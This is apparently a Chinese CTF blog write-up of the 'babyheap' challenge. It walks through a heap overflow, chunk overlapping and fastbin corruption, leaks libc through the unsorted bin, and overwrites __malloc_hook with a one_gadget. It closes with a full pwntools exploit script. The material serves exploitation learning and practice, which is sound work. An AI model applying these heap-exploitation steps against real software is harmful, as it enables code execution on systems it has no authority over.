堆溢出+overlapping
正在回顾以前学过的堆和学习新的堆,看到了wiki的overlapping这一块,突然发觉这不就跟之前学fastbin attack的时候的babyheap一样嘛。之前觉得好难,看了看自己之前写的笔记,好像又不是很难了。
正好今天天气不好想摆烂。之前没用markdown写,就再详细回顾一遍。
漏洞点:堆溢出+overlapping修改fastbin上的指针,实现双重指针指向一处,也就是达成uaf的效果。
-
主函数是正常的输出,这里的arena_list表是随机生成的地址。(之前遇到的都是固定bss上的一段)
-
new函数,创建堆块。最多可以创建16个块,每次从0开始循环找,只有标志位不为1时代表为空。
-
先创建了两个堆看看里面的样子,还更清晰一点
-
edit函数(利用点,这里自定义了写入的长度,从而实现了堆溢出)
free和show部分就是正常的释放,指针置0以及正常的打印,就不多看了。 -
先哐哐哐创5个块,然后把1、2删除掉
new(0x10)#0
new(0x10)#1
new(0x10)#2
new(0x80)#3
new(0x10)#4
dele(2)#这是更正后的删除顺序
dele(1)
- 删两个的原因:fd会指向上一个释放的块的地址,为了让fd出现堆块地址,所以需要释放两个。
(注意顺序哦,我顺序错了导致是上面的样子,结果感觉有点无从下手)
后来去看了看以前做的,顺序换了也无妨,正常填充掉就好,反正会出现一个无用的块。
更正后:
- 先把从上到下看,第二个块的fd改为第4个块,并创建将第三个块填掉
payload = b"a" * 0x18 + p64(0x21) +b'\x60'
edit(0,payload)
#debug()
new(0x10)#1
- 利用填掉的第三个块,把第四个块的大小改为符合fastbin的大小
payload = b"b" * 0x18 + p64(0x21) +b'c'* 0x18 + b'\x21'
edit(1,payload)
填掉后的效果:
再创建一个块把它填上,就达成id为2和3都指向这个块了
然后把原本的块3的大小恢复。
payload = b"d" * 0x18 + p64(0x21) + b'd'* 0x18 + b'\x91'
edit(1,payload)
目前的块的标号:
然后把这个大块释放,获得unsortedbin,打印出hook地址,泄露出libc
dele(3)
show(2)
libc = ELF('/home/kali/Desktop/libc-2.23.so')
one_gadget=0x4526a
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88
#print(hex(main_arena))
__malloc_hook=main_arena-0x10
libc_base=__malloc_hook-libc.sym['__malloc_hook']
print(hex(libc_base))
one_gadget+=libc_base
#print(hex(one_gadget))
补上这个释放的块,然后把4释放掉,再填入fake_fast_chunk的地址,把calloc_hook的地址覆盖为one_gadet。(这里注意,本程序创建堆块一直用的是calloc)(one_gadget怎么找就不用我说了吧)
new(0x80)
dele(4)
payload = b"A" * 0x88 + p64(0x71) + p64(__malloc_hook-0x20-3)
edit(3,payload)
#debug()
new(0x60)#4
new(0x60)#5
payload = b"\x00"* 0x13 +p64(one_gadget)
edit(5,payload)
debug()
new(0x20)
搞定(v)
总之看上去已经彻底会了,又纯粹自己打的时候还会出现一些磕磕绊绊,天纳,这个题我这应该是第3遍还是第4遍看它了(
反正。。。菜就多练
总exp:
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
#p=remote('node4.buuoj.cn',27670)
p=process('./babyheap1')
#libc=ELF('/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
libc = ELF('/home/kali/Desktop/libc-2.23.so')
one_gadget=0x4526a
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda :p.recvline()
def debug():
gdb.attach(p)
pause(1)
def new(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
def edit(index,content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(len(content)))
p.recvuntil('Content')
p.sendline(content)
def dele(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(index))
def show(index):
p.recvuntil('Command')
p.sendline('4')
p.recvuntil('Index')
p.sendline(str(index))
new(0x10)#0
new(0x10)#1
new(0x10)#2
new(0x80)#3
new(0x60)#4
dele(2)
dele(1)
#debug()
payload = b"a" * 0x18 + p64(0x21) + b'\x60'
edit(0,payload)
#debug()
new(0x10)#1
payload = b"b" * 0x18 + p64(0x21) + b'c'* 0x18 + b'\x21'
edit(1,payload)
#debug()
new(0x10)#2&3
payload = b"d" * 0x18 + p64(0x21) + b'd'* 0x18 + b'\x91'
edit(1,payload)
#debug()
dele(3)
show(2)
libc = ELF('/home/kali/Desktop/libc-2.23.so')
one_gadget=0x4526a
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88
print(hex(main_arena))
__malloc_hook=main_arena-0x10
libc_base=__malloc_hook-libc.sym['__malloc_hook']
print(hex(libc_base))
#log.success("the free hook is %s",hex(free_hook))
one_gadget+=libc_base
#print(hex(one_gadget))
new(0x80)
dele(4)
payload = b"A" * 0x88 + p64(0x71) + p64(__malloc_hook-0x20-3)
edit(3,payload)
#debug()
new(0x60)#4
new(0x60)#5
payload = b"\x00"* 0x13 +p64(one_gadget)
edit(5,payload)
debug()
new(0x20)
p.interactive()